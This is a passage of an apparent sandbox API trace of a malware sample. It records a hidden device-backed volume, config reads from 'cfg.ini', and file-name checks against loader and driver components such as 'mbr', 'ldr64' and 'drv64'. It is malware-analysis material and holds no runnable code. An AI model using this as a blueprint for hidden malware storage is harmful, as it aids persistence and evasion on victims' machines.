_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.887] KeEnterCriticalRegion () [0123.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.887] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.887] KeLeaveCriticalRegion () [0123.887] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.887] KeEnterCriticalRegion () [0123.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.887] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.887] IdePortDispatch () returned 0x103 [0123.887] KeWaitForMutexObject () returned 0x0 [0123.887] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.887] KeLeaveCriticalRegion () [0123.887] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.887] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.888] KeEnterCriticalRegion () [0123.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.888] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034aa000 [0123.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.888] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.888] IdePortDispatch () returned 0x103 [0123.888] KeWaitForMutexObject () returned 0x0 [0123.888] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.888] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.888] IdePortDispatch () returned 0x103 [0123.888] KeWaitForMutexObject () returned 0x0 [0123.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.888] KeLeaveCriticalRegion () [0123.888] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.889] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.889] KeEnterCriticalRegion () [0123.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.889] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.889] KeLeaveCriticalRegion () [0123.889] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.889] KeEnterCriticalRegion () [0123.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.889] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.889] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.889] KeLeaveCriticalRegion () [0123.889] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.889] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.889] KeEnterCriticalRegion () [0123.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.889] ExFreePoolWithTag (P=0xfffffa8003be85c0, Tag=0x0) [0123.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.889] KeLeaveCriticalRegion () [0123.889] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.889] ReleaseMutex (hMutex=0xf0) returned 1 [0123.889] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.889] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.889] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.890] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.890] KeEnterCriticalRegion () [0123.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.890] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.890] IdePortDispatch () returned 0x103 [0123.890] KeWaitForMutexObject () returned 0x0 [0123.890] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.890] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.890] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.890] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.890] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.890] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.890] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.890] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.890] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.890] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.890] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.890] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.890] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.890] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.890] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.890] KeLeaveCriticalRegion () [0123.890] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.890] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.890] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.890] KeEnterCriticalRegion () [0123.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.890] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.890] IdePortDispatch () returned 0x103 [0123.891] KeWaitForMutexObject () returned 0x0 [0123.891] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.891] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.891] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.891] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.891] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.891] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.891] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.891] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.891] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.891] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.891] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.891] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.891] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.891] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.891] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.891] KeLeaveCriticalRegion () [0123.891] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.891] ReleaseMutex (hMutex=0x100) returned 1 [0123.891] Sleep (dwMilliseconds=0x2bf20) [0123.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d0b0010, dwHighDateTime=0x1d24fa4)) [0123.900] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.900] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.900] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.900] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.900] KeEnterCriticalRegion () [0123.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.900] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.900] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.900] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.900] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.900] IdePortDispatch () returned 0x103 [0123.900] KeWaitForMutexObject () returned 0x0 [0123.900] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.900] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.900] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.900] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.900] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.900] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beea30 [0123.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.900] KeLeaveCriticalRegion () [0123.900] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.900] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.900] KeEnterCriticalRegion () [0123.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.900] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.901] KeLeaveCriticalRegion () [0123.901] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.901] KeEnterCriticalRegion () [0123.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.901] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.901] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.901] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.901] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.901] IdePortDispatch () returned 0x103 [0123.901] KeWaitForMutexObject () returned 0x0 [0123.901] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.901] KeLeaveCriticalRegion () [0123.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.901] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.901] KeEnterCriticalRegion () [0123.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.901] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ad000 [0123.901] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.901] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.901] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.901] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.901] IdePortDispatch () returned 0x103 [0123.901] KeWaitForMutexObject () returned 0x0 [0123.901] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.901] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.902] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.902] IdePortDispatch () returned 0x103 [0123.902] KeWaitForMutexObject () returned 0x0 [0123.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.902] KeLeaveCriticalRegion () [0123.902] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.902] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.902] KeEnterCriticalRegion () [0123.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.902] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.903] KeLeaveCriticalRegion () [0123.903] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.903] KeEnterCriticalRegion () [0123.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.903] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.903] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bee830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.903] KeLeaveCriticalRegion () [0123.903] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.903] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.903] KeEnterCriticalRegion () [0123.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.903] ExFreePoolWithTag (P=0xfffffa8003beea30, Tag=0x0) [0123.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.903] KeLeaveCriticalRegion () [0123.903] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.903] ReleaseMutex (hMutex=0xf0) returned 1 [0123.903] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.903] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.903] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.903] KeEnterCriticalRegion () [0123.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.903] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.903] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.903] IdePortDispatch () returned 0x103 [0123.903] KeWaitForMutexObject () returned 0x0 [0123.903] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.903] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.903] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.904] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.904] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.904] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee5d0 [0123.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.904] KeLeaveCriticalRegion () [0123.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.904] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.904] KeEnterCriticalRegion () [0123.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.904] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.904] KeLeaveCriticalRegion () [0123.904] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.904] KeEnterCriticalRegion () [0123.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.904] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.904] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.904] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.904] IdePortDispatch () returned 0x103 [0123.904] KeWaitForMutexObject () returned 0x0 [0123.904] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.904] KeLeaveCriticalRegion () [0123.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.904] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.904] KeEnterCriticalRegion () [0123.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.904] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ae000 [0123.904] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.904] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.904] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.904] IdePortDispatch () returned 0x103 [0123.905] KeWaitForMutexObject () returned 0x0 [0123.905] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.905] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.905] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.905] IdePortDispatch () returned 0x103 [0123.905] KeWaitForMutexObject () returned 0x0 [0123.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.905] KeLeaveCriticalRegion () [0123.905] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.906] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.906] KeEnterCriticalRegion () [0123.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.906] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.906] KeLeaveCriticalRegion () [0123.906] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.906] KeEnterCriticalRegion () [0123.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.906] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 